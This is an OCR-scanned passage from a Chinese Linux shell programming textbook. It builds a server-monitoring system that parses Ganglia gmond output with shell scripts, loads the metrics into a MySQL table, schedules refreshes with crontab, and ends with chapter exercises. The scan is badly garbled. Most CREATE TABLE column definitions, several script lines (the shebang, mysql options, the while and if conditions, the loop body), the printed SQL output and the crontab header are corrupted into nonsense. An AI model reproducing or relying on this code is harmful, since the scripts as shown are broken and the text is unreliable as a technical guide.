NAME="disk total' VAL="25.618" TYPE="double" UNITS="GB" TN="3138" TMAX="1200" 
DMAX="0" SLOPE="both" SOURCE="gmond"/>， 该 条 记录 的 参数 是 总 人 硬盘 容量 ， 为 23GB， 

数据 类 型 是 double 型 。 

在 了 解 了 Ganglia 输出 数据 之 后 ， 我 们 需要 编写 Shell 脚本 提取 gmond_msg_1.txt 文件 中 
的 有 用 数据 ， 最 终 将 这 些 数 据 存储 到 MySQL 数据库， 在 此 之 前 ， 我 们 需要 编写 一 个 初始 化 
数据 库 的 脚本 ， 即 在 MySQL 数据 库 中 新 建 一 张 表 ， 表 的 字段 包含 机 器 的 名 称 、IP 地 址 ， 以 
及 gmond_msg_1.txt 文件 中 所 有 以 <METRIC> 开 头 的 指标 , 例 17-18 给 出 的 initialization.sh 脚 
本 实现 了 监控 数据 表 的 初始 化 : 


# 例 17-18: initialization.sh 脚本 实现 了 监控 数据 表 的 初始 化 
#!1/bin/bash 






































































































































MYSQL= “which mysql. 


$MYSQL test =u mysql -p <<EOF 

# 下 面 是 提交 到 MysQL 的 SoL 语句 ， 用 于 创建 resource 表 

create table resource (HOSTNAME VARCHAR(30) NOT NULL default '', 
IP VARCHAR(20) NOT NULL default '', 
eskeotouVARCHAR (20 0 dSEamie NU 
Seu vARCHAR 20 oe Ee Ny 
partlmaxdusednvaARCHAR (20 0 asaule NOL 
swapleotalvaAReHAR (2 eeeaunbe Nor 
Gs nomeveAaRCEAR 20 dou Ne 
EUEUsETREVRARGCHAR 20 a No 
SeuUNSVYS EennVvARCnR (20 dee 
epuranele VARCHARI(20 ae 
eaan eve VARCHAR (C20 oe tam No 
BECeBeEun VARCHAR( 200 ea No 
mem 本 EVARCEHRRILU Em Nur 
memaonE Eees evAReCHaR 20 os Eom. 
swapErse VARCGHAR 20 odeEme Ny 
Dye vAReEAR 20 een vr 
BkEsoume vAReEAR (2 a Nv, 
cpu num VARCHAR(20) default NULL, 
GskgEee VARCHAR( 2 a a No 
memBeotEa VARCHAR (S20 ae Ee NE 
eBumwleon VARCHAR(20 aac NO 
boottime VARCHAR(20) default NULL, 
maehniae eve VARCHAR 20 ea Ny, 
SseleasenvAReme (dea Ny, 
SPUummeesvAReHaAR (2 asEame Noss, 
Sor ole VRCEeR (2 ce NV 
ToadloneovaAReCHaR (20)0 defaule NOL 
osemest GeesenevaRenaR(20 Naeem Nn 
ProeneoraVARean oS EU 
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mem shared VARCHAR(20) default NULL, 
memyeachedvARCEAR(20N dau No 
gexec VARCHAR(20) aefault NULL, 
Bytesnouc vARCHAR (2 de ealNUre, 
BESE ARGH (0 oe Ny 

#resource 表 包 含 34 个 字段 ，HOSTNAME 和 IP 字段 不 能 为 空 

show tables; 

EOF 


上 述 initialization.sh 脚本 与 17.5.2 节 所 介绍 的 create.sh 脚本 基本 一 样 ,只 是 提交 到 MySQL 








数据 库 的 SQL 语句 不 同 , 在 initialization.sh 脚本 中 , 我 们 创建 了 resource 表 , 包含 34 个 字段 ， 
IP 地 址 是 主 码 ，HOSTNAME 和 IP 不 能 为 空 ， 其 他 32 个 学 段 与 gmond_msg_1.txt 文件 中 以 
<METRIC> 开 头 的 指标 相对 应 ， 所 有 的 字段 类 型 都 为 变 长 字符 型 (VARCHAR 型 )。 


























执行 initialization.sh 脚本 之 后 ，MySQL 的 test 数据 库 就 会 出 现 一 张 新 的 表 resource。 这 





























样 我 们 就 可 以 开始 编写 提取 gmond_msg_1.txt 文件 数据 ， 并 将 其 存储 到 resource 表 的 Shell 脚 
本 。 由 于 脚本 比较 长 , 我 们 先 给 出 脚本 内 容 ， 再 详细 解释 ,脚本 名 字 是 monitor.sh， 内 容 如 下 : 























i 














# 例 17-19: monitor .sh 脚本 提取 监控 数据 并 存储 到 数据 库 
#!/bin/bash 








# 预 处 理 gmonqg_msg_1 .txt 文件 ， 将 该 文件 从 第 1 行 到 匹配 关键 字 <CLUSTER 的 行 删除 
# 并 将 删除 行 之 后 的 文件 保存 到 machine_record 中 
sed ‘1,/<CLUSTER/d' gmond msg 1.txt > machine record 








record="Recording each line!" # 用 于 临时 保存 machine record 的 每 一 行内 容 
MYSOL= which mysql. 


#while 循环 是 脚本 的 主体 部 分 ， 利 用 了 本 书 第 10 章 所 述 的 代码 块 重 定向 功能 ， 
# 再 利用 read 命令 逐 行 读 取 machine record 的 每 一 行 
we ecora # 终 止 条 件 是 record 变量 为 空 
do 


























read record 
first field= echo $record | cut -d" " -f1`、 # 提 取 每 行 的 第 1 域 , 保存 到 first field 变量 


























# 当 行 的 第 1 域 是 <HOST 时 ， 这 是 一 台 机 器 的 第 1 行 ， 需 要 在 里 面 提取 出 主机 名 和 IP 地 址 



































下 人 ES = UV<HOST™ |] 

then 

Son eroeessun nosLTanenre, 

index=0 # 数 组 游标 ， 初 始 化 为 0， 表示 是 一 台 机 器 的 开始 
# 提 取 record 的 第 2 域 ， 并 只 保留 双 引 号 内 的 值 ， 赋 给 VAR 数组 的 第 0 个 元 素 

VAR[$inaex]= echo $record | cut -d" " -f2 | sed =e 's/^.*=\"//' =e 's/\"™//'. 

Tee ndext a # 数 组 游标 增加 1 





# 提 取 record 的 第 3 域 ， 并 具 保留 双 引 号 内 的 值 ， 赋 给 VAR 数组 的 第 1 个 元 素 
VAR[$inaex]= echo $record | cut =d" " =f3 | sed =e 's/^.*=\"//' -e SA 人/ 
echo ${VAR[$index]} 








let "index+=1" 


# 当 行 的 第 1 域 是 <METRIC 时 ， 保 存 的 是 机 器 的 具体 指标 
SliE | “legs Tale = VM 1] 
then 
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提取 recorq 的 第 3 域 ， 并 只 保留 双 引 号 内 的 值 ， 赋 给 VAR 数组 的 下 一 个 元 素 

第 3 域 保存 的 是 该 指标 的 取 值 

VAR[$index]=“echo $record | cut -d" " -f3 | sed -e 's/^.*=\"//' -e 's/\"//'. 
let "index+=1" 











当 行 的 第 1 域 是 </HOST 时 ， 表 示 一 台 机 器 的 监控 数据 提取 结束 
此 时 可 以 将 VAR 数组 中 的 数据 存储 到 MysQL 的 resource 表 中 
elif [ ES = /AOST> | 

then 

echo "Writing into Database" 























statement="insert into resource values (" #statement 是 提交 到 数据 库 的 SQL 语句 





#for 循环 自动 将 VAR 数组 元 素 插入 SQL 语句， 每 个 元 素 需 要 用 单 引 号 引起 ， 
# 元 素 之 间 用 去 号 分 隔 
for j in ${VAR[@]} 
Ge 
Soeenne ee em om 
done 
#for 循环 结束 后 ， 去 掉 statement 最 后 一 个 逗号 ， 加 上 ); 两 个 符号 
statement=${statement%®, }\) \; 
echo $statement 
$MYSQL test -u mysql <<EOF 
































$statement # 直 接 将 statement 提交 到 数据 库 就 能 将 VAR 数组 存储 到 resource 表 
EOF 

i 

deney nocnmmese eod 代码 块 重 定向 








monitor.sh 脚本 比较 复杂 ， 综 合 使 用 了 代码 块 重 定向 、sed、cut、 管 道 、 条 件 测试 、 命 令 
替换 、 数 组 、 变 量 、 数 据 库 操 作 等 知识 。 首 先 ，monitor.sh 脚本 对 gmond msg 1.txt 文件 进行 
预 处 理 ， 将 该 文件 从 第 1 行 到 匹配 关键 字 <CLUSTER 的 行 删 除 ， 即 将 Ganglia 出 现 的 系统 信 
息 删 除 ， 便 于 提取 下 面 的 数据 ， 并 且 定 义 两 个 变量 : record 用 于 临时 保存 machine_ record 的 
每 一 行内 容 ， 当 读 完 machine_record 时 , record 必 为 空 , 因此 , while 循环 的 终止 条 件 是 record 
变量 为 空 ， 为 了 能 进入 第 1 轮 的 while 循环 ，record 不 能 为 空 ， 我们 将 其 赋 为 "Recording each 
line!"， 实 际 上 ，record 的 初 值 可 以 为 任意 非 空 值 ， MYSQL 保存 mysql 命令 路 径 ， 用 于 连接 
数据 库 。 

while 循环 是 monitor.sh 脚本 的 主体 部 分 ， 利 用 本 书 第 10 章 所 述 的 代码 块 重 定向 功能 ， 
将 while 循环 的 标准 输入 重 定 癌 到 machine_record 文件 , read 命令 将 每 次 读 取 machine record 
文件 的 一 行 。 然 后 ，monitor.sh 脚本 利用 ipeligelse 结构 判断 和 处 理 三 种 情况 : @ 一 台 机 器 
监控 数据 段 的 开始 ， 以 关键 字 <HOST 开头 的 行 ，@ 一 台 机 器 的 具体 监控 数据 ， 以 关键 字 
<METRIC 开头 的 行 ; @@ 一 台 机 器 监控 数据 段 的 结束 ， 以 关键 字 </HOST 开头 的 行 。 因 此 ， 
我 们 测试 条 件 的 依据 是 record 的 第 1 域 ， 利 用 命令 替换 和 cut 命令 很 容易 提取 出 record 的 第 
1 域 ， 并 存放 到 first field 变量 中 。 

对 于 上 述 第 种 情况 ， 需 要 在 此 行 提取 出 主机 名 和 人 P 地 址 ， 分 别 是 该 行 的 第 2 域 和 第 3 
域 ， 利 用 类 似 于 first field 变量 的 方法 可 以 提取 指定 域 ， 但 是 ， 域 的 内 容 是 






































































































































































































































下 




















NAME='"seugrid2.seu.edu.cn" 和 IP="172.18.12.178"， 而 我 们 所 需 提取 的 实际 数据 是 双 引 号 之 
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间 的 内 容 。 因此 , 需要 利用 sed 命令 将 多 余部 分 删除 , 只 将 双 引 号 内 的 值 赋 给 VAR 数组 , VAR 
数组 的 游标 必须 在 此 时 被 初始 化 ， 这 样 使 得 每 换 一 台 机 器 ， 游 标 index 重新 归 0。 对 于 上 述 
第 所 种 情况 ， 我 们 只 需 简单 地 将 第 3 域 赋 给 数组 即 可 ， 方 法 类 似 于 提取 主机 名 和 卫 地 址 的 
办 法 。 对 于 上 述 第 @ 种 情况 ， 此 时 一 台 机 器 的 数据 全 部 提取 出 来 ， 己 经 保存 到 了 VAR 数组 
中 。 因 此 ， 我 们 需要 将 VAR 数组 内 容 依次 写 到 MySQL 的 resource 表 中 ， 数 据 库 操作 与 
initialization.sh 脚本 类 似 , 最 关键 的 操作 是 如 何 自 动 生成 提交 到 MySQL 数据 库 的 SQL 语句 ， 
我 们 分 三 段 拼接 成 该 SQL 语句 ， 保 存 于 statement 变量 中 ，for 循环 前 面 生成 statement 的 前 
面部 分 "insert into resource values ("，for 循环 自动 将 VAR 数组 元 素 搬入 SQL 语句 ， 每 个 元 
素 需 要 用 单 引 号 引起 ， 元 素 之 间 用 喜 号 分 隔 ，for 循环 结束 时 ， 必 然 多 了 一 个 逗号 ， 并 需要 
加 上 半 括 号 “)” 和 分 号 “;” 命令 statement=$ fstatement%,}NN 灵活 使 用 Shell 的 字符 串 处 
理 功能 ， 先 删除 从 右 匹 配 最 短 子 串 ， 再 加 上 “);” 两 个 符号 得 到 。 下 面 给 出 monitor.sh 脚本 
的 执行 结果 : 
例 17-19 monitor. sh 脚本 的 执行 结果 


root@zawu MySQL-instance]# chmod ut+x monitor.sh 
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root@zawu MySQL-instance]# ./monitor.sh 
Eroecssstne HOS anc re 
Writing into Database 
下 面 是 提交 到 数据 库 的 sQL 语句 

imserteirmntonrosou ee valusse 0 seurno seu een 1/2 I 才 电 关 和 
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B20 O02 ON lA OR 2 a en 0 
OP Oe OI Se OO 3 A 0 0 A Erbe A Se) 

Proecss sli ancre 











Writing into Database 

iInmnsert ntenrosou ec valusse severrol Seu ee ne /2 
We 0 ee lb nb be 0) 3 ble ONO Oe la ye le A 的 攻 二 二 二 
a a 0) le 0 es Se MO) Sh 2 I NG le el re OO 
TO (DG 0 DO DG: i 辣 和 生生 

Proeesentno mane te 

Writing into Database 

mmseret into esonsee vealuesa( sevugrves eseu en en 1 TS 00 
RO A OO 00 O00 A OO A 
O50 S00 0 ene nem 0 
O00 00000 0 O00 0 0 OE GG 

[root@zawu MySQL-instance]t# 


monitor.sh 脚本 最 关键 的 输出 是 提交 到 MySQL 数据 库 的 SQL 语句 , 即 statement 变量 值 ， 
从 中 可 以 看 出 脚本 的 运行 情况 , gmond_msg 1.txt 文件 内 共有 三 台 机 器 的 监控 数据 , monitor.sh 
却 本 每 处 理 一 台 机 器 ， 生 成 一 条 SQL 语句 ， 包 含 34 个 具体 数据 ， 其 中 ， 主 机 名 和 IP 地址 来 


i 


自 于 第 1 行 record， 其 余 来 自 于 以 关键 字 <METRIC 开头 的 行 。 


17.6.3 ”动态 更 新 服务 器 监控 数据 

完成 initialization.sh 脚本 和 monitor.sh 脚本 后 ， 监 控 系 统 并 未 结束 。 显 而 易 见 ， 服务 器 的 
很 多 指标 处 于 动态 变化 之 中 ， 如 1 分 钟 平均 负载 (load_one )、5 分 钟 平均 负载 (load_ five)、 
剩余 磁盘 容量 (disk free) 等 指标 ， 我 们 需要 实现 服务 器 监控 数据 的 动态 更 新 。 所 谓 动态 更 
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新 ， 本 质 上 是 定期 利用 Ganglia 的 gmond 进程 收集 一 次 服务 器 监控 数据 ， 再 写 入 数据 库 中 ， 
Linux 系统 的 定时 操作 就 需要 使 用 crontab 。 

仅仅 在 crontab 中 定时 执行 monitor.sh 脚本 是 不 够 的 ， 因 为 monitor.sh 脚本 只 负责 从 
Ganglia 的 结果 文件 提取 上 所 需 数据 。 因 而 ,我们 还 需要 重新 写 一 个 监控 系统 的 入 口 脚 本 ， 通 过 
该 脚本 封装 整个 监控 系统 ， 入 口 脚本 名 为 run.sh， 内 容 如 下 : 


# 例 17-20: run.sh 脚本 封装 监控 系统 
WaSSESN 


















































echo “start running GMOND7 
gmond # 启 动 gmond 进程 





echo “Refresh performance data of servers" 

# 获 取 Ganglia 收集 的 监控 数据 ， 重 定向 到 gmond msg 1.txt 文件 

telnet localhost 8649 > /usr/local/shell program/MySQL instance/gmond msg 1.txt 
monitor.sh # 提 取出 gmond msg_ 1.txt 中 的 数据 ， 写 入 数据 库 


run.sh 启动 gmond 进程 ， 然 后 利用 telnet 命令 获取 Ganglia 收集 的 监控 数据 ， 重 定向 到 
gmond_msg_1.txt 文件 ， 最 后 执行 monitor.sh 脚本 ， 提 取出 gmond_msg_1.txt 中 的 数据 ， 写 入 


数据 库 。 这 样 ， 我 们 定时 执行 run.sh 脚本 就 可 以 实现 服务 器 监控 数据 的 动态 更 新 了 。 在 此 ， 
我 们 利用 crontab 实现 每 分 钟 执行 一 次 run.sh 脚本 ，crontab 文件 的 内 容 如 下 : 
[root@zawu shell-program]# cat /etc/crontab 
SHELL=/bin/bash 
PAE /Sl /ln lnm S/o 
MAITLTO=root 
HOME=/ 
Se ime (0 = 53) 
人 nemrea(o0n 25) 
I daveocemnonene( ee eS 
====== mone oR nea a 
[中 = CE of wes Vt = 6 (Sneen sy or 7 CR 
sun,mon, tue,wed, thu, fri, sat 
je | 
eommaneto cerexecuted 












































*** ** /usr/local/shell-program/MySQL-instance/run.sh # 每 分 钟 执行 run . sh 脚本 一 次 


root@zawu shell-program]# 

initialization.sh、monitor.sh 和 run.sh 等 脚本 是 后 台 运 行 的 脚本 ， 它 们 负责 将 服务 器 监控 
数据 收集 存储 到 数据 库 ， 并 动态 更 新 。 当 然 ， 我 们 编写 一 个 图 形 化 界面 向 前 台 用 户 展示 服务 
器 监控 的 信息 ， 这 项 工作 的 本 质 是 将 resource 表 中 的 信息 以 Web 页 面 的 形式 展示 给 用 户 ， 实 
现 的 方法 多 种 多 样 ， 如 ASP、JSP 等 ， 具 体 实现 方法 不 属于 本 书 的 讨论 范围 ， 在 此 仅 给 出 我 
们 基于 JSP 实现 的 服务 器 性 能 监控 的 界面 ， 如 图 17-4 所 示 。 
图 17-4 窗口 的 左 侧 以 文字 形式 显示 了 172.18.12.178 这 台 服 务 器 的 性 能 参数 ， 窗 口 右 侧 
绘制 了 磁盘、 内 存 和 交换 区 的 可 用 空间 与 剩余 空间 之 间 关 系 的 饼 图 。 

当然 ， 如 果 读 者 利用 更 先进 的 插件 或 工具 ， 显 然 可 以 实现 更 加 漂亮 、 完 善 的 前 台 界 面 ， 
但 是 ， 后 台 脚 本 程序 是 不 需要 改变 的 ，MySQL 起 到 了 后 台 脚 本 和 前 台 界 面 的 桥梁 作用 。 























































































































一 习 














































































































上 了 导 | Di 华 清 六 = 站 淄 住 全 网 。 了 
D 清远 见 教育 集团 官网 : www. hqyj. com 
月 绕 





438 





《Linux Shell 编程 从 初学 到 精通 》 
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地 直 (D) | http://172. 18. 12. 179;9080/performance/resourceInfo. jsp?IP=172. 18. 12. 178| 固守 放 靶 ”网 - 











Disk Volumn 
[The red font information is dynamic resource. 


Pe W292: L782 





cpu nice: 0.0 % 


cpu idle: 60.6 % 





Mskfree 
cpu_speed: 2992 MHz 





cpu num: 2 CPUs 





disk_free: 17.081 GB ®@ disk_used ® disk_free 








diskused 











disk_total: 25.618 GB 





Memory Volumn 
load fifteen: null 


load five: 0.01 
load_one: 0.70 


Imachine_type: x86 





和 狠 完 毕 
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本 章 介绍 了 Shell 编程 的 6 企 实 例 ， 涉 及 系统 管理 、 文 本 处 到 














|mem_buffers: 66456 KB 


17-4 ”监控 数据 的 前 台 图 形 化 显示 




















EE 和 数据 库 等 多 个 方面 。 第 











局 术 地 Intranet 








一 个 例子 将 Shell 编程 和 WWW 的 HIML 文本 相 结 合 , 利用 sed 和 awk 两 种 方法 实现 文本 文 
件 到 HTML 文件 的 转化 ， 第 二 个 例子 利用 Shell 编程 解决 了 计算 机 科学 中 的 经 典 问题 ， 综 合 
使 用 多 种 Shell 文本 处 理工 具 ， 比 其 他 高 级 程序 设计 语言 更 显 便捷 ; 第 三 个 例子 阐释 了 Shell 














个 例子 讲述 了 Linux 的 重要 机 制 
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有 忆 . AAA 
后 ， 给 


里 上 的 应 用 











了 几 个 极 易 扩 展 到 其 他 数据 库 系 统 的 


























服务 器 监控 案例 为 背景 ， 基 于 Ganglia， 综 合 使 用 多 种 Shell 编程 技术 ， 
的 网 络 服务 器 性 能 监控 系统 。 


1. 参考 17.1 节 给 出 的 htmlconver.sh 脚本 , 编写 脚本 实现 将 HTML 文件 转化 为 文本 文件 。 
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编程 中 伪 随 机 数 的 产生 和 应 用 ， 尤 其 是 Random 函数 和 数组 索引 结合 的 用 法 值得 借鉴 ; 第 四 
crontab, 并 结合 大 型 公司 测试 题 说 明了 crontab 在 系统 管 
第 五 个 例子 阐述 了 Shell 脚本 程序 如 何 使 用 数据 库 ， 该 例 以 MySQL 数据 库 为 背 
基本 程序 ， 第 六 个 例子 以 当今 分 布 式 计算 中 的 











实现 了 一 个 较为 复杂 














17.2 节 给 出 的 topn.sh 脚本 用 于 查找 文本 中 n 个 出 现 频率 最 高 的 单词 ， 读 者 思考 该 脚 
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本 中 用 管道 符 连 接 的 几 个 命令 是 不 是 还 可 以 用 其 他 命令 代 蔡 呢 ? 《提示 : 第 2 个 tr 命令 可 用 
sed 代替 、head 命令 也 可 以 用 sed 代替 等 ) 

3. 编写 一 个 字母 统计 程序 ， 能 将 指定 文件 中 大 小 写 英 文字 母 ( 共 52 个 ) 出 现 的 次 数 打 
印 出 来 。 

4. 扑克 牌 有 4 种 花色 ， 定 义 为 : Clubs、Diamonds、Hearts 和 Spades， 每 种 花色 从 Ace 
到 King 有 13 个 取 值 , 利用 Random 函数 实现 从 一 副 扑 克 牌 中 随机 取出 一 张 牌 这 一 操作 。( 提 
示 : 建议 参考 random.sh 脚本 ， 结 合 使 用 数组 实现 ,) 

5. 扩展 上 一 题 的 抽取 扑克 牌 程序 ， 实 现 将 一 副 扑 克 牌 随机 发 给 4 个 玩家 的 程序 ， 最 后 输 
出 4 个 玩家 所 发 到 的 牌 。 

6. 参考 17.3 节 给 出 的 dice.sh 脚本 , 编写 抛 1000 次 硬币 所 产生 的 统计 结果 , 即 输出 1000 
次 “正面 ”和 “反面 ”的 次 数 。 

7. 有 一 个 名 为 globus 的 普通 用 户 ， 需 要 在 每 周 日 凌晨 零点 零 分 定期 备份 /user/backup 到 
/tmp 目录 下 ， 请 为 globus 设计 实现 方案 。 

8. insert2.sh 脚本 能 将 一 条 记录 插入 到 people 表 中 ， 修 改 insert2.sh 脚本 使 其 能 同时 插入 
多 条 记录 。( 提 示 : 本 题 有 一 定 难度 ， 由 于 插入 记录 的 数量 不 定 ， 需 要 使 用 shift 命令 自动 控 
制 ， 将 记录 逐个 移 位 。) 

9. female.sh 脚本 利用 awk 打印 出 姓名 和 出 生地 两 个 域 的 信息 ，SQL 语言 的 Select 语句 
也 可 以 指定 打印 的 属性 ， 请 改变 female.sh 脚本 的 Select 实现 等 价 的 功能 。 

10. 编写 一 个 脚本 ， 从 17.5.2 节 test 数 据 库 people 表 中 读 取 所 有 的 数据 ， 并 将 这 些 数据 
月 HTML 文件 格式 进行 存储 。 

11. 参考 相关 文档 ， 在 Linux 上 安装 了 PostgreSQL 数据 库 ， 并 参考 使 用 MySQL 的 脚本 ， 
编写 一 些 脚 本 来 使 用 PostgreSQL 数据 库 。 

12. Ganglia 产生 的 监控 指标 还 包含 单位 、 类 型 等 数据 ，resource 表 中 却 无 法 显示 这 些 数 
据 ， 我 们 可 以 新 建 一 张 静 态 表 ， 以 指标 名 为 主 码 ， 包 含 单 位 、 类 型 等 字段 ， 如 : 
cpu num-CPUs-uint16、cpu_usef-%-float 等 数据 。 请 读者 参考 monitor.sh 脚本 ， 重 写 一 个 脚本 
建立 这 张 表 ， 并 将 gmond_msg_1.txt 中 的 相关 数据 提取 出 来 ， 存 储 到 这 张 表 内 。 
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